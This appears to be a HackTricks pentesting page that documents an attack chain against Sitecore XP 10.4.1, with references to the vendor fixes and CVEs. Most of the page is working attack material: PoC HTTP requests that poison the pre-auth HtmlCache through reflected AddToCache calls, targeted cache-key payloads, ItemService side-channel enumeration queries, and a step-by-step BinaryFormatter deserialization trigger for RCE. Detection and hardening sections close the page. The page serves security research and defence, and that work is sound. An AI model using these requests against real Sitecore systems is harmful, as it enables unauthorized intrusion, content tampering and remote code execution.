// HackTricks · Network Services

Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

This page summarizes a practical attack chain tested against Sitecore XP 10.4.1. It pivots from a pre-auth XAML handler to HTML cache poisoning and, through an authenticated UI flow, to RCE through BinaryFormatter deserialization.[1] The underlying primitives can guide testing of similar Sitecore components, but use Sitecore’s advisories to determine exposure for a specific product and release; exact handlers, control IDs, permissions, and cache keys can differ between deployments.

  • Research target: Sitecore XP 10.4.1 rev. 011628
  • Vendor fixes: KB1003667 and KB1003734 (June/July 2025). The related CVE records cover different product/version ranges, so assess CVE-2025-53691, CVE-2025-53693, and CVE-2025-53694 separately.[2][3][4][5][6]

See also:

Readme

Readme

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

The entry point is the pre-auth XAML handler registered in web.config:[1]

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accessible via:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls:

// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl.

Magic method for poisoning:

// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
  HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
  if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notes:

  • __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
  • __PARAMETERS format is Method(“arg1”,“arg2”).

What to poison: Cache key construction

Typical HtmlCache key construction used by Sitecore controls:[1]

public virtual string GetCacheKey(){
  SiteContext site = Sitecore.Context.Site;
  if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
    string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
    if (key.Length > 0){
      string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
      if (this.VaryByData)        k += ResolveDataKeyPart();
      if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
      if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
      if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
      if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
      if (this.VaryByQueryString && site?.Request != null)
                                   k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
      if (this.ClearOnIndexUpdate) k += "_#index";
      return k;
    }
  }
  return string.Empty;
}

Example targeted poisoning for a known sublayout:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerating cacheable items and “vary by” dimensions

If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.[1]

Quick probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

List cacheable items and flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:[1]

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:[1]

HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
  htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
  <iframe id="test" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/sitecore/poc" value="poc"></iframe>
  <test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.[1]

Basic .Net Deserialization Objectdataprovider Gadgets Expandedwrapper And Json.Net

Complete chain

  1. Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.[1]
  2. Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
  3. The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.

Detection

  • Pre‑auth XAML: requests to /-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1, suspicious __SOURCE and __PARAMETERS=AddToCache(...).[1]
  • ItemService probing: spikes of /sitecore/api/ssc wildcard queries, large TotalCount with empty Results.
  • Deserialization attempts: EditHtml.aspx followed by FixHtml.aspx?hdl=... and unusually large base64 in HTML fields.

Hardening

  • Apply the Sitecore fixes that match the deployed product and version. Where compatibility permits, gate or disable unnecessary pre-auth XAML handlers, validate dispatched methods and parameters strictly, and monitor and rate-limit /-/xaml/ requests without disrupting legitimate editing workflows.[1][2][3]
  • Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
  • Lock down /sitecore/api/ssc to loopback or authenticated roles; avoid impersonation patterns that leak TotalCount‑based side channels.
  • Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.